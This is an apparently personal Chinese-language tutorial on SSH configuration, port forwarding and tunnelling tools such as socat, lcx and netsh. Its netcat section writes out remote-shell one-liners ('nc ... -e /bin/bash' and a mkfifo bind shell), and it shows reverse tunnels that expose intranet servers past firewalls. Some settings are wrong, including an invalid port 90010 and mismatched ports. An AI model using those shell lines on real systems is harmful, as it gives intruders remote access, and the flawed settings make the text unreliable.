ControlMaster / ControlPath / ControlPersist 持久连接（复用通道，秒连）
一次登录后保持 socket 通道，后续 ssh/scp/sftp 不用重新握手、验证密钥，大幅提速。

# 全局所有主机启用连接复用
Host *
  ControlMaster auto  # 登录后保持socket通道，后续ssh/scp/sftp不用重新握手、验证密钥
  ControlPath ~/.ssh/sockets/%h_%p_%r.sock  # socket 文件存放路径
  ControlPersist 8h.      # 连接空闲保留 8 小时，8 小时后自动断开；
  ServerAliveInterval 30  # 每 30 秒发心跳包，防止长时间无操作被防火墙断开连接。
  ServerAliveCountMax 3   # 连续 3 次心跳无响应自动断开。

手动关闭持久连接：ssh -O exit crawl

跳板机 / 代理穿透（ProxyJump 新版 SSH）。内网机器无法直连，先登录跳板机，再跳转内网服务。

# 跳板机别名
Host jump
  HostName 1.2.3.4
  User ec2-user
  IdentityFile ~/.ssh/id_rsa_jump

# 内网爬虫机器，通过jump跳板访问
Host inner-crawl
  HostName 10.0.0.10
  User root
  IdentityFile ~/.ssh/id_rsa_crawl
  ProxyJump jump

StrictHostKeyChecking no

初次连接服务器不用手动输入 yes 确认主机指纹；配套 UserKnownHostsFile=/dev/null 不记录主机 key（临时测试机用，生产不推荐）
```
Host test-*
  StrictHostKeyChecking no
  UserKnownHostsFile /dev/null
```

LogLevel INFO

打印详细 ssh 日志，排查连接失败：ssh -v crawl 也可临时开启。

文件传输 / 转发

LocalPortForwarding yes 本地端口转发
RemotePortForwarding yes 远程端口转发
DynamicForward 1080 开启 socks5 代理

Host proxy-server
  HostName x.x.x.x
  DynamicForward 1080  # 连接后本地 1080 端口为 socks 代理。

完整生产可用配置示例（多密钥 + 跳板 + 持久连接）

# 全局通用规则
Host *
  ServerAliveInterval 30
  ServerAliveCountMax 3
  AddKeysToAgent yes
  IdentitiesOnly yes
  ControlMaster auto
  ControlPath ~/.ssh/sockets/%h_%p_%r.sock
  ControlPersist 6h

# 跳板机
Host jump
  HostName shturl.cc/XYZ
  User ec2-user
  Port 22
  IdentityFile ~/.ssh/id_rsa_jump

# 外网爬虫机器，直连
Host crawl
  HostName shturl.cc/9jt
  User ec2-user
  IdentityFile ~/.ssh/id_rsa_crawl

# 内网机器，走跳板机跳转
Host inner-crawl
  HostName 10.0.1.50
  User root
  IdentityFile ~/.ssh/id_rsa_crawl
  ProxyJump jump

# GitHub 单独密钥
Host github.com
  HostName github.com
  User git
  IdentityFile ~/.ssh/id_rsa_git

# 临时测试机器，不校验主机指纹
Host test-*
  StrictHostKeyChecking no
  UserKnownHostsFile /dev/null

常用调试命令

测试配置语法是否正确：ssh -G crawl  打印该别名完整加载的所有参数，排查参数覆盖、匹配问题。
详细连接日志（排查密钥 / 权限 / 网络报错）ssh -v crawl  # 多层日志 -vv / -vvv
关闭持久连接 socket：ssh -O exit crawl
清除所有持久连接：rm -rf ~/.ssh/sockets/*

常见坑说明

IdentitiesOnly yes 必须加 多套密钥时，ssh 会轮询 id_rsa、id_rsa_xxx，遇到远端限制密钥尝试次数直接报错拒绝。
配置文件权限过大直接失效 chmod 644 ~/.ssh/config 会导致 ssh 忽略整个 config，必须 600。
Host 匹配顺序从上到下通配符放前面会优先匹配，建议精准 Host 写上方，Host * 放最后。
ProxyJump 仅 OpenSSH 7.3 + 支持低版本系统用 ProxyCommand ssh -W % h:% p 跳板别名兼容替代。

如果执行报错，排查流程

首先看权限，家目录 /ssh 目录宽松权限，OpenSSH 出于安全拒绝操作

OpenSSH 规定：.ssh 文件夹权限不能大于 700，父目录不能全局可写，否则各种异常。
# 重建目录 + 严格权限
mkdir -p ~/.ssh/sockets
chmod 700 ~/.ssh
chmod 700 ~/.ssh/sockets
chmod 600 ~/.ssh/config
chmod 700 ~/.ssh/id_rsa
先确认是不是端口占用（优先排查）
# 查看63790、9000、9001占用
lsof -i :63790
lsof -i :9000
lsof -i :9001
如果有进程占用，杀掉残留 ssh 进程：ssh ind-crawler
彻底关闭隧道：ssh -O exit ind-crawler

# 本地连接别名，登录时直接 ssh ind-crawler
Host ind-crawler
    # 内网目标机器真实内网IP（无法公网直连，只能跳板访问）
    HostName 192.168.9.5
	# 登录内网机器的用户名
    User user001
	# 跳板机配置：先登录跳板 user001@1.2.3.4，再跳转上面 192.168.9.5  
    ProxyJump user001@1.2.3.4
	# 连接跳板+内网机器统一使用的私钥文件路径
    IdentityFile ~/.ssh/id_rsa
	# 本地端口转发1：本机6379端口 → 内网 192.168.9.100:6379（Redis服务）
    LocalForward 6379 192.168.9.100:6379
	# 本地端口转发2：本机9000端口 → 内网 192.168.9.100:9000
    LocalForward 9000 192.168.9.100:9000
    LocalForward 9001 192.168.9.100:9001
	# 不分配TTY交互式终端；只做端口隧道时加这个，避免多余shell交互
    RequestTTY no

    # SSH 连接复用配置
    ControlMaster auto
    # %h = HostName = 192.168.9.5
    # ControlPath ~/.ssh/sockets/%h_%p_%r.sock
    # %n = 命令行Host名称：ind-crawler，不再使用 IP，兼容性更好
    ControlPath ~/.ssh/sockets/%n_%p_%r.sock
    # 主连接空闲 6 小时自动销毁；按需改成 0 代表永久保持
    ControlPersist 6h

执行 ssh ind-crawler 后打印出 banner 之后卡住、不出现命令提示符，也不报错，僵住不动，说明连接成功。现在这个终端不能关闭：一旦关闭，SSH 进程退出，本地端口 63790/9000/9001 转发就失效。想彻底关闭隧道时执行：ssh -O exit ind-crawler

如果不需要交互式 shell，日常只做端口转发，建议永久后台启动：ssh -fN ind-crawler

测试redis转发：nc -zv 127.0.0.1 63790
测试9000：nc -zv 127.0.0.1 9000

两种场景：

只想端口转发、不需要登录 shell：-N，可以 RequestTTY no
需要登录服务器操作：必须分配 TTY，需要删除/注释掉 RequestTTY no

进阶优化：区分两条别名（推荐！一劳永逸）

# 1. 交互式登录，可以进服务器操作
Host ind-crawler-shell
    HostName 192.168.9.5
    User user001
    ProxyJump user001@1.2.3.4
    IdentityFile ~/.ssh/id_rsa
    ControlMaster auto
    ControlPath ~/.ssh/sockets/%n_%p_%r.sock
    ControlPersist 6h
    ExitOnForwardFailure yes

# 2. 仅后台端口转发，不带shell
Host ind-crawler-tunnel
    HostName 192.168.9.5
    User user001
    ProxyJump user001@1.2.3.4
    IdentityFile ~/.ssh/id_rsa
    LocalForward 63790 192.168.9.100:6379
    LocalForward 9000 192.168.9.100:9000
    LocalForward 9001 192.168.9.100:9001
    RequestTTY no
    ExitOnForwardFailure yes
    ControlMaster auto
    ControlPath ~/.ssh/sockets/%n_%p_%r.sock
    ControlPersist 6h

使用方式：

ssh ind-crawler-shell # 登录服务器操作
ssh -fN ind-crawler-tunnel # 后台启动端口转发隧道
ssh -O exit ind-crawler-tunnel # 关闭隧道

ind-crawler-tunnel

定义本地连接别名 ind-crawler-tunnel，通过跳板机中转访问内网爬虫服务器，并建立3条本地端口隧道，禁止分配交互式终端。你的电脑 → 公网跳板 1.2.3.4 → 内网爬虫主机 192.168.9.5 爬虫内网段还有一台节点 192.168.9.100，上面跑 Redis (6379)、MinIO (9000)。

ind-crawler-tunnel

当执行 ssh -fN ind-crawler-tunnel 后台建立隧道后：本地 127.0.0.1:63790 = =内网 Redis 192.168.9.100:6379 本地直接执行：redis-cli -p 6379 就能连上内网爬虫 Redis。本地 127.0.0.1:9000 == 内网 MinIO 对象存储服务 Python minio/boto3 连接地址填 127.0.0.1:9000 即可访问内网 MinIO

登录流程：先用私钥连接跳板公网 IP，再在内网环境建立到 192.168.9.5 的第二条 ssh 通道

LocalForward A B:C

格式：本地端口目标IP:目标端口
流量流向：本机程序 → 本机 A 端口 → SSH 加密隧道 → 爬虫内网 → B:C 服务

RequestTTY no

默认 ssh 会分配交互式终端窗口；
只做端口转发、不需要敲命令时关闭 TTY，避免多余输出、后台隧道更稳定。

日常使用命令

仅建立隧道，不打开服务器终端（推荐）: ssh -N ind-crawler
后台静默运行隧道（-f 后台）: ssh -f -N ind-crawler
关闭持久隧道（如果你配置了 ControlPersist）: ssh -O exit ind-crawler

适用业务场景

本地开发 Scrapy 爬虫，直接连接线上 Redis 去重队列、任务队列；
本地代码读写线上 MinIO 存储的网页归档、图片、导出 CSV；
不用登录跳板再手动跳转，一条命令打通内网存储服务，本地 IDE 直接调试线上数据。

SSH 多套公私钥管理

多服务器 / 多 Git 账号共存。目录结构标准：所有密钥统一放在 ~/.ssh/

~/.ssh/
├── id_rsa          # 默认密钥（可选）
├── id_rsa_crawl     # 爬虫服务器专用私钥
├── id_rsa_crawl.pub # 对应公钥
├── id_rsa_git      # GitHub/Gitee专用私钥
├── id_rsa_git.pub
└── config          # 核心：区分不同主机使用对应密钥

生成多套独立密钥

生成爬虫服务器密钥：ssh-keygen -t rsa -C "crawl-server" -f ~/.ssh/id_rsa_crawl 参数 -f 指定文件名，注意不要回车默认 id_rsa，避免覆盖。密码按需设置（无密码免输，生产建议简单密码）
生成 Git 专用密钥：ssh-keygen -t rsa -C "yourmail@xxx.com" -f ~/.ssh/id_rsa_git

配置～/.ssh/config（关键，自动匹配密钥）

vim ~/.ssh/config
# 赋予权限，否则ssh报错
chmod 600 ~/.ssh/config

完整配置模板

# 1. 爬虫AWS服务器 用 crawl 密钥
Host crawl
  HostName 1.2.3.4
  User ec2-user
  IdentityFile ~/.ssh/id_rsa_crawl
  IdentitiesOnly yes

# 2. 另一台测试机
Host test
  HostName 10.0.0.5
  User root
  IdentityFile ~/.ssh/id_rsa_crawl
  IdentitiesOnly yes

# 3. GitHub 单独密钥
Host github.com
  HostName github.com
  User git
  IdentityFile ~/.ssh/id_rsa_git
  IdentitiesOnly yes

# 4. Gitee
Host gitee.com
  HostName gitee.com
  User git
  IdentityFile ~/.ssh/id_rsa_git
  IdentitiesOnly yes

参数说明：

IdentitiesOnly yes：强制只使用指定私钥，不会自动遍历所有密钥，解决多密钥冲突
Host 是本地别名，连接时直接 ssh crawl 不用输完整 IP

上传公钥到远端服务器

方式 1：ssh-copy-id（最简单）# 上传crawl密钥公钥到服务器
ssh-copy-id -i ~/.ssh/id_rsa_crawl.pub ec2-user@1.2.3.4
方式 2：手动追加公钥（服务器无 ssh-copy-id 时）
cat ~/.ssh/id_rsa_crawl.pub | ssh ec2-user@1.2.3.4 "mkdir -p ~/.ssh && cat >> ~/.ssh/authorized_keys && chmod 600 ~/.ssh/authorized_keys"

Git 平台上传。

复制公钥内容，粘贴到 GitHub/Gitee → 设置 → SSH keys

权限必须正确（权限过大 ssh 拒绝连接）

chmod 700 ~/.ssh
chmod 600 ~/.ssh/*

免密登录使用

# 直接用别名连接，自动匹配对应私钥
ssh crawl
ssh test

# git操作自动使用对应密钥
git clone git@github.com:xxx/repo.git

手动切换指定私钥临时登录

不修改 config，单次指定密钥：ssh -i ~/.ssh/id_rsa_crawl ec2-user@1.2.3.4

ssh-agent 缓存密钥（设置了密钥密码时免重复输入）

# 添加私钥到缓存
ssh-add ~/.ssh/id_rsa_crawl
ssh-add ~/.ssh/id_rsa_git

# 查看已缓存密钥
ssh-add -l

# 清空缓存
ssh-add -D

zsh/bash 可写入 ~/.zshrc 开机自动加载：

# 自动加载密钥
ssh-add ~/.ssh/id_rsa_crawl ~/.ssh/id_rsa_git 2>/dev/null

新增第二台服务器完整流程

生成独立密钥：ssh-keygen -f ~/.ssh/id_rsa_new
编辑 ~/.ssh/config 新增 Host 块，指定 IdentityFile
上传公钥：ssh-copy-id -i ~/.ssh/id_rsa_new.pub user@ip
ssh 别名 直接登录

ssh 工具教程

ssh 工具教程：https://zhuanlan.zhihu.com/p/601630927

彻底搞懂SSH端口转发命令：https://zhuanlan.zhihu.com/p/148825449

SSH端口转发 (本地转发、远程转发、动态转发)：https://www.cnblogs.com/zangfans/p/8848279.html

-L 本机端口
-R 远程主机端口，做反向 ssh
-f 后台执行
-N 只建立隧道，不打开远程 shell（端口转发必备）
-g 启用网关功能
-v 打印调试日志

SSH 基本的连接命令：ssh username@hostname

SSH 端口转发（隧道）：利用 SSH 加密通道，把本地 / 远程端口流量加密中转，绕过防火墙、内网互通、临时暴露内网服务。三大类型：

本地端口转发（-L）：本地端口 → 远程内网服务（最常用，访问服务器内网数据库 / Redis/MinIO）
远程端口转发（-R）：远程机器端口 → 本地电脑服务（内网机器暴露到公网）
动态转发（-D）：本地开启 SOCKS5 代理，全局翻墙 / 爬虫代理

场景：

突破防火墙的限制完成一些之前无法建立的TCP 连接。SSH端口转发（隧道）功能强大、用途广泛，仅仅一行代码便可以将两台主机联系起来，对特定的访问请求进行代理。国外的网站可以使用 SSH隧道、使用代理服务器、使用虚拟专用网络（VPN）、使用浏览器插件。使用SSH隧道SSH隧道是一种安全的网络连接，可以使您在国外访问网站时获得更强的安全性和隐私性。

三种转发对比速查表

本地转发	-L LocalForward	本地访问服务器内网服务	本机端口 → SSH 机 → 内网目标
远程转发	-R RemoteForward	本地服务暴露到公网	公网服务器端口 → SSH 机 → 本机服务
动态代理	-D DynamicForward	SOCKS5 全局代理	本机软件流量 → SSH 机出口

本地端口转发

ssh -L [本地IP:]本地端口:目标主机:目标端口 ssh用户名@跳板/服务器IP

ssh -N -L [本地IP:]本地端口:目标主机:目标端口 ssh用户名@跳板/服务器IP

本地 IP 省略默认 127.0.0.1；填 0.0.0.0 允许局域网其他机器连你的本地端口

示例：假设服务器内网Redis地址 10.10.10.9:6379，本机局域网共享隧道（别人也能用你的隧道）：ssh -N -L 0.0.0.0:63790:10.10.10.9:6379 ec2-user@1.2.3.4

写入～/.ssh/config 永久配置（不用每次输长命令）
Host myhost
    HostName 1.2.3.4
    User ec2-user
    IdentityFile ~/.ssh/id_rsa_crawl
    # 本地转发，ssh crawl 自动建立隧道
    LocalForward 63790 127.0.0.1:6379
    LocalForward 90010 127.0.0.1:9001
执行命令，后台启动隧道：ssh myhost -N

假设你的本地机器是 host2, 可以通过 ssh 访问 host3, 但是无法直接访问 host4 上开在 9000 端口的 http 服务, 而 host3 可以访问 host4, 此时就可以利用 ssh 隧道通过 host3 访问 host4 的服务, 如下:

# host 2
# 本地转发模板：ssh -L [<本地地址>:]<本地端口>:<目标地址>:<目标端口> host3
# 比如上面的例子，-L 表示本地转发

用法 1：使用回环地址 127.0.0.1 或者 localhost
ssh -L 127.0.0.1:10001:192.168.1.4:9000 host3
ssh -L localhost:10001:192.168.1.4:9000 host3
用法 2：省略 <本地地址>
ssh -L 10001:192.168.1.4:9000 host3

用法 3：使用本地外部地址
ssh -L 192.168.1.2:10001:192.168.1.4:9000 host3

注意: 由于 host2 开启的转发端口 10001 是在本地，因此称为【本地转发】

从 host2

因为隧道是在 host2 上开的，所以可以在 host2 本地通过 host3 访问 host4 上的 http 服务

用法 1 和用法2 访问: http://127.0.0.1:10001 或 http://localhost:10001
用法 3 访问: http://192.168.1.2:10001

上图中, 只有 host2 和 host3 之间的通信是 ssh 加密的.

从 host1 访问

如果需要从 host1 通过 host2 访问 host4 上的服务, 则需要增加 -g 参数:

host2 执行：ssh -g -L 10001:192.168.1.4:9000 host3

此时在 host1 上访问 http://192.168.1.2:10001 即可

ssh 跳板

host2 执行：ssh -g -L 10022:192.168.1.4:22 host3

我们把 host2 上的 10022 映射到了 host4 上的 22 端口, 而 22 端口是 ssh 端口, 这意味着 host2 成了外界和 host4 直接的跳板机, 此时我们可以从 host1 或者 host2 上 ssh 连接到 host4:

host2 执行：ssh jarvis@localhost -p 10022
host1 执行：ssh jarvis@192.168.1.2 -p 10022

如果我们不希望 ssh 登录, 只是建立隧道后进入后台的话，可以加上 -f 参数 (fork):

# host2
ssh -f -g -L 10022:192.168.1.4:22 host3 ifconfig
ssh -f -N -g -L 10022:192.168.1.4:22 host3

注意我们额外加了 -N 参数, 否则必须指定一个要执行的远程命令

远程端口转发

命令：ssh -N -R [远程IP:]远程端口:本地目标:本地端口 user@公网服务器。远程 IP 省略时则默认 127.0.0.1；填 0.0.0.0 允许公网所有人访问该端口
作用：远程服务器监听端口，流量转发回你本机电脑服务
场景：家里 / 本地开发机跑服务，无公网 IP，通过有公网的云服务器暴露给外网访问。

注意：远程端口转发时，需要在服务端中 SSHd（/etc/ssh/sshd_config）启用 GatewayPorts=yes，而不是在客户端中启用，修改完重启 sshd 服务。以便能够绑定到远程端口上的环回以外的接口。默认情况下，OpenSSH 只允许从本地主机连接到远程转发端口。能够防止从服务器计算机外部连接到转发端口。设置成 ‘yes’ 后，外部主机就可以连接了。

远程转发需要在 host3 上开启隧道:

host3 执行：ssh -R [<远程地址>:]远程端口:<目标地址>:<目标端口> host1
示例：ssh -R 10001:192.168.1.4:9000 host2

这样就在 host2 上的 10001 端口建立了 ssh 隧道连接. 当有主机连接 host2:10001 时, 流量就会被通过 ssh 隧道转发到 host3, 然后再有 host3 转发给 host4. 由于 host3 发起的转发端口在 host2 上(对于 host3 来说是远程), 因此成为远程端口转发.

示例：

远程主机的 8080 端口和本地主机的 80 端口建立映射
ssh -R 0.0.0.0:8080:127.0.0.1:80 root@172.17.82.12

从 host2 访问

host2 执行：ssh jarvis@localhost -p 10001
host2 (这个连不上)：ssh jarvis@10.76.1.101 -p 10001

警告:【远程端口】10001 是由 host2 上的 sshd 服务控制的, 因此即使指定了【远程地址】, host2 上的 sshd 也只会把 10001 绑定在回环地址 127.0.0.1 (localhost) 上.

host2 查看端口绑定：netstat -tnlp

ssh 跳板 + 从 host1 访问

为了能从 host1 和 host2 上通过 10.76.1.101 访问, 需要在 host2 的 sshd 配置文件中, 把 GatewayPorts=no 改为 GatewayPorts=yes. 启用该项之后, 无论【远程地址】设置为什么都会绑定在所有地址 (0.0.0.0) 上.

host2 执行：
ssh -g -R *:10001:192.168.1.4:9000 host2
ssh -g -R 10001:192.168.1.4:9000 host2
也可以加 -f -N 参数, 参数可缩写
ssh -fgNR 10001:192.168.1.4:9000 host2
然后在 host1 上访问
ssh jarvis@10.76.1.101 -p 10001

外部网络SSH访问公司内网服务器终极解决方案（实现SFTP直连内网）

：https://blog.csdn.net/uisoul/article/details/97416567

利用外网服务器以及反向SSH搭一条通道，就可以利用外网的服务器登录内网的服务器。
内网服务器   192.168.0.201
   内网服务器上执行命令：ssh -NfR 1122:localhost:22 root@100.100.100.100 -p 22
外网服务器   100.100.100.100
       外网服务器：ssh 内网服务器用户名@localhost -p1122

动态端口转发

"本地转发、远程转发" 都只能进行一对一的端口转发，这意味着同一个端口只能解析一种固定的协议。比如我把本地的 10001 端口转发到远程的 80 端口 (web 服务, http 协议)，那么本地的 10001 端口只能用于 web 服务的访问，不能用于 ssh 连接。
ssh 支持动态转发，由 ssh 判断发起请求的工具使用的是什么协议，并动态的转发到相应的目标端口。其实就是建立本地 SOCKS5 代理，浏览器 / 爬虫 requests/aiohttp 全局走隧道流量
适合：访问内网管理后台、海外网络、爬虫代理池临时代理
命令格式：ssh -N -D 本地SOCKS端口 user@服务器
本地 1080 端口开启 socks5 代理，命令：ssh -N -D 1080 ec2-user@1.2.3.4
编辑 vim ~/.ssh/config 配置
Host myproxy
HostName 1.2.3.4
User ec2-user
DynamicForward 1080

如上图所示，我们希望从 host2 既能访问互联网，又能通过 ssh 连接到 host4. 单独开两个端口映射显然是可以的, 但这并不优雅. 这时候我们就可以使用动态转发, 格式如下:

host2 执行：ssh -D [<绑定地址>:]端口 host3
示例：ssh -fgN -D 10022 host3

执行了上面的命令之后, host2 就会在本地开启 SOCKS4 或 SOCKS5 服务来监听 10022 端口. 这时候只要客户端工具将自身的代理设置为 host2:10022, 则该程序所有的数据就会被经由 host2:10022 转发给 host3, 然后由 host3 自动根据协议类型决定把数据发往何处.

比如本地使用浏览器代理, 那么浏览器使用的 http/https 流量就会被 host3 转发到互联网上. 如果使用 SecurtCRT 或 putty 等支持代理上网的客户端工具, 则连接 host4 的 ssh 流量也可以通过 host3 被发往 host4.

(1) 本地端口转发：ssh -fgN -L 2222:localhost:22 localhost
(2) 远程端口转发：ssh -fgN -R 2222:host1:22 localhost
(3) 动态端口转发：ssh -fgN -D 12345 root@host1

多级跳板穿透（多层内网，ProxyJump + 端口转发）

架构：本地 → 跳板机 A（公网）→ 内网机器 B（无公网），B 内网有 Redis 6379
需求：本地直接访问 B 的 Redis

方案 1：一条命令多层转发

# -J 指定跳板，-L 映射内网B的6379到本地63790
ssh -N -J ec2-user@跳板IP -L 63790:内网B地址:6379 ec2-user@内网B地址

方案 2：config 配置跳板 + 本地转发（推荐）

# 跳板
Host jump
  HostName 1.2.3.4
  User ec2-user

# 内网爬虫机
Host inner-crawl
  HostName 10.0.0.10
  User root
  ProxyJump jump
  LocalForward 63790 127.0.0.1:6379
  LocalForward 90010 127.0.0.1:9001

执行：ssh inner-crawl -N

台常驻隧道、关闭隧道、自启动

后台运行（-f）：ssh -f -N -L 63790:127.0.0.1:6379 ec2-user@1.2.3.4
关闭指定隧道：ssh -O exit crawl
终止隧道进程
    ps aux | grep ssh   # 查找ssh转发进程
    kill 12345    # kill pid
用 ControlPersist 持久连接（推荐替代 - f），config 全局增加：
Host *
  ControlMaster auto
  ControlPath ~/.ssh/sock/%h_%p.sock
  ControlPersist 12h

sshd 关键配置（解决转发失败），远程服务器 /etc/ssh/sshd_config

AllowTcpForwarding yes 默认开启，关闭则所有端口转发失效
GatewayPorts yes 远程转发 -R 0.0.0.0 必需
PermitOpen any 放行所有地址转发，限制则填指定 IP

autossh

安装：apt install autossh

autossh 工具是一个用来启动 ssh 服务并进行监控的命令行应用程序，可以在程序问题或者是网络问题的时候，重启 ssh 服务。autossh 使用了系统原生的 SSH 端口映射功能，性能开销非常小。

-M 指定监控端口。覆盖环境变量 AUTOSSH_PORT。0关闭监控环路。或者可以指定远程机器上的回显服务的端口。(通常是端口7。)
-f 后台执行 (autossh 处理这个参数，不会传递给 ssh)
-V 打印 autossh 版本
除了 M、f、V 参数，其他参数都会传递给 ssh 进行处理

示例：autossh -f -M 9600 -i "renzheng.pem" -gN -D 9500 用户名@主机ip或者域名

ssh 实现 socket5 代理

SSH 隧道实现的是 socket5 代理 ( 动态端口转发 )

命令：ssh -i xxxxx.pem -fgN -D 9500 110.115.116.xxx

110.115.116.xxx 是可以访问外网的 VPS 主机
xxxxx.pem 是免密码登录到 VPS 主机的证书

代理设置

Putty 的 SSH 隧道

iptables 端口转发

(1) 开启数据转发功能
vi /etc/sysctl.conf
#增加一行 net.ipv4.ip_forward=1
//使数据转发功能生效
sysctl -p
(2)将本地的端口转发到本机端口
iptables -t nat -A PREROUTING -p tcp --dport 2222 -j REDIRECT --to-port 22
(3)将本机的端口转发到其他机器
iptables -t nat -A PREROUTING -d 192.168.172.130 -p tcp --dport 8000 -j DNAT --to-destination 192.168.172.131:80
iptables -t nat -A POSTROUTING -d 192.168.172.131 -p tcp --dport 80 -j SNAT --to 192.168.172.130

#清空nat表的所有链
iptables -t nat -F PREROUTING

firewall 端口转发

(1) 开启伪装IP
firewall-cmd --permanent --add-masquerade
(2) 配置端口转发，将到达本机的12345端口的访问转发到另一台服务器的22端口。
firewall-cmd --permanent --add-forward-port=port=12345:proto=tcp:toaddr=192.168.172.131:toport=22
(3) 重新载入，使其失效
firewall-cmd --reload

rinetd 端口转发

rinetd 是一个轻量级 TCP 转发工具，简单配置就可以实现端口映射/转发/重定向。

安装：apt install rinetd
编辑配置：gedit /etc/rinetd.conf

命令格式是
bindaddress bindport connectaddress connectport
绑定的地址绑定的端口连接的地址连接的端口
或
[Source Address] [Source Port] [Destination Address] [Destination Port]
源地址源端口目的地址目的端口

示例：(0.0.0.0表示本机绑定所有可用地址)
0.0.0.0 8080 172.19.94.3 8080 将所有发往本机8080端口的请求转发到172.19.94.3的8080端口
0.0.0.0 2222 192.168.0.103 3389 将所有发往本机2222端口的请求转发到192.168.0.103的3389端口
1.2.3.4 80 192.168.0.10 80 将所有发往1.2.3.4的80端口请求转发到192.168.0.10的80端口
启动：rinetd -c /etc/rinetd.conf

关闭：pkill rinetd

ncat 端口转发

netcat(简称nc)被誉为网络安全界的”瑞士军刀“，一个简单而有用的工具，这里介绍一种使用netcat实现端口转发的方法。

(1) 安装ncat
yum install nmap-ncat -y
(2) 监听本机 9876 端口，将数据转发到 192.168.172.131的 80 端口
ncat --sh-exec "ncat 192.168.172.131 80" -l 9876 --keep-open

nc 端口转发

标准的 nc 命令没有 -e 或 -c 参数来执行命令。主要用于简单的 TCP 和 UDP 连接，例如发送和接收数据。

方法 1：通过 管道重定向 实现端口转发

本地端口到另一个本地端口
nc -l -p 源端口 | nc 本地IP 目标端口
示例：nc -l -p 8888 | nc 本地IP 9999
单向端口转发
本地监听端口 8888，并将收到的数据通过网络传输到远程服务器的 9999 端口。
nc -l -p 8888 | nc 远程服务器IP 9999
双向端口转发。
样就可以实现双向的端口转发，数据可以在两个方向上流动。
# 本地端口到远程服务器
nc -l -p 8888 | nc 远程服务器IP 9999
# 远程服务器端口到本地
nc -l -p 9999 | nc 本地IP 8888

方法 2：

带有 -e 时
直接执行命令：nc serverIP PORT -e /bin/bash
没有 -e 时
命令：mkfifo /tmp/fifo
命令：cat /tmp/fifo | /bin/bash -i 2>&1 | nc -l 8000 > /tmp/fifo
客户端执行：nc 192.168.1.102 8000

方法 3：通过 -c

nc -l -p 源端口 -c 'nc 目标IP 目标端口'
本地监听 8888 端口，并将所有连接转发到远程服务器的 9999 端口。
示例：nc -l -p 8888 -c 'nc 远程服务器IP 9999'

socat 端口转发

socat 是一个多功能的网络工具，使用 socat 进行端口转发。

(1) socat 安装
yum install -y socat
(2) 在本地监听 12345 端口，并将请求转发至192.168.172.131的22端口。
socat TCP4-LISTEN:12345,reuseaddr,fork TCP4:192.168.172.131:22

lcx.exe 端口转发

隧道工具：https://github.com/todzhang/lcx

Lcx的多种用法：3个功能+9个参数：https://cloud.tencent.com/developer/article/1041597

lcx--端口转发工具：https://www.freebuf.com/sectool/265766.html

一文详解内网LCX端口转发：https://www.freebuf.com/articles/network/379553.html

portmap 端口转发

内网端口转发工具：lcx 工具是windous版的，linux版的是 portmap。

(1) 下载地址：http://www.vuln.cn/wp-content/uploads/2016/06/lcx_vuln.cn_.zip

(2) 监听本地 1234 端口，转发给 192.168.172.131 的 22 端口

portmap -m 1 -p1 1234 -h2 192.168.172.131 -p2 22

portmap 端口转发：https://zhuanlan.zhihu.com/p/545265096

Lcx 端口转发初探：https://zhuanlan.zhihu.com/p/166027768

portfwd 端口转发

portfwd 端口转发与端口映射：https://blog.csdn.net/f_carey/article/details/120091375

portfwd 是 meterpreter 中内置的功能，也提供了单机版，用于TCP/UDP端口转发服务

Github 项目地址：https://github.com/rssnsj/portfwd

(1) 下载编译
git clone https://github.com/rssnsj/portfwd.git
cd portfwd/src
make
(2)将本地的12345端口转发到192.168.172.131：22
./tcpfwd 0.0.0.0:12345 192.168.172.131:22

NATBypass 端口转发

一款 lcx (htran) 在 golang 下的实现

Gihub项目地址：https://github.com/cw1997/NATBypass

内网主机主动连接外网主机打通隧道：

在目标机器上执行：nb -slave 127.0.0.1:3389 公网IP:51
在公网的机器执行：nb -listen 51 3340
在公网主机上连接 127.0.0.1:3340，即可连接上内网机器的3389端口。

netsh 端口转发

netsh 是一个 Windows 系统下的命令行工具，用于配置和管理网络设置。

netsh interface portproxy set v4tov4 listenaddress=local_ip listenport=local_port connectaddress=remote_ip connectport=remote_port

local_ip：本地 IP 地址，用于监听传入连接。
local_port：本地端口号，需要转发传入连接的端口。
remote_ip：远程 IP 地址，传入连接将被转发到该地址。
remote_port：远程端口号，传入连接将被转发到该端口。

例如，如果你想将本地的 8888 端口转发到远程服务器的 9999 端口，可以执行以下命令：

netsh interface portproxy set v4tov4 listenaddress=本地IP listenport=8888 connectaddress=远程服务器IP connectport=9999

确认端口转发设置是否生效：netsh interface portproxy show v4tov4

显示当前的端口转发规则列表，包括本地监听地址、端口和远程连接地址、端口。

更复杂的端口映射或其他高级功能，推荐使用专门的端口转发软件或工具，如 ncat、socat 等。它们通常提供更灵活和强大的功能来处理端口转发需求。

收录于

Shell

标签

#linux

对比cp和scp命令将数据从一台linux服务器复制到另一台linux服务器 cp命令用来将一个或多个源文件或者目录复制到指定的目的文件或目录。它可以将单个源文件复制成一个指定文件名的具体的文件或一个已经存在的目录下。cp命令还支持同时复制多个文件，当一次复制多个文件时，目标文件参数必须是一个已经存在的目录，否则将出现错误。 -a：此参数的效果和同时指定"-dpR"参数相同； -d：当复制符号连接时，把目标文件或目录也建立为符号连接，并指向与源文件或目录连... 阅读详情

linux 命令：scp (pscp)、rz/sz、nc (netcat)、ncat、socat、ssh、端口转发(rinetd)

1、linux 之间传输文件

scp

pscp

psftp

rz、sz

2、nc (netcat)、ncat、socat

nc (netcat)、ncat 简介

nc (netcat)、ncat 参数

linux 环境 nc 参数

windows 环境 nc 参数

nc 基本用法

nc 高级用法

端口 扫描

有名 管道 (named Pipe)

nc 和 管道符 |

nc 实现反向流量转发

端口转发 (PortForwarding)

中转 实现反弹shell

nc、ncat、netcat 端口转发

后门

正向连接

反向连接

端口数据抓包

远程 拷贝 文件

ftp 自动下载

远程 拷贝 目录

克隆硬盘或分区

简单聊天工具

保存 Web 页面

模拟 HTTP 请求

用 nc 命令操作 memcached

Netcat 其他常用的功能

3、ncat 命令

3.1 ncat 的 参数

3.2 ncat 的 使用

ncat 作为浏览器

监听模式（ 模拟 web 服务器 )

执行命令（远程 shell）

通过 nc 进行端口转发。

访问控制

文件传输

传输目录

传输磁盘镜像（压缩）

聊天

简易 web 服务器

流媒体视频

4、socat 命令

socat 的参数

socat 的使用

网络测试

网络管理

端口转发

fork 服务

将 U 盘进行网络共享

将终端转发到串口

让 Socat 后台运行

正向 shell、反向 shell

网页服务

文件传输

读写分流功能

透明代理

通过 Openssl 来加密传输过程

5、Linux 下常用的端口转发工具

端口转发、端口映射

autossh

ssh 安装、使用、端口转发

安装 ssh

~/.ssh/config 文件

SSH 多套公私钥管理

ssh 工具教程

本地端口 转发

远程端口 转发

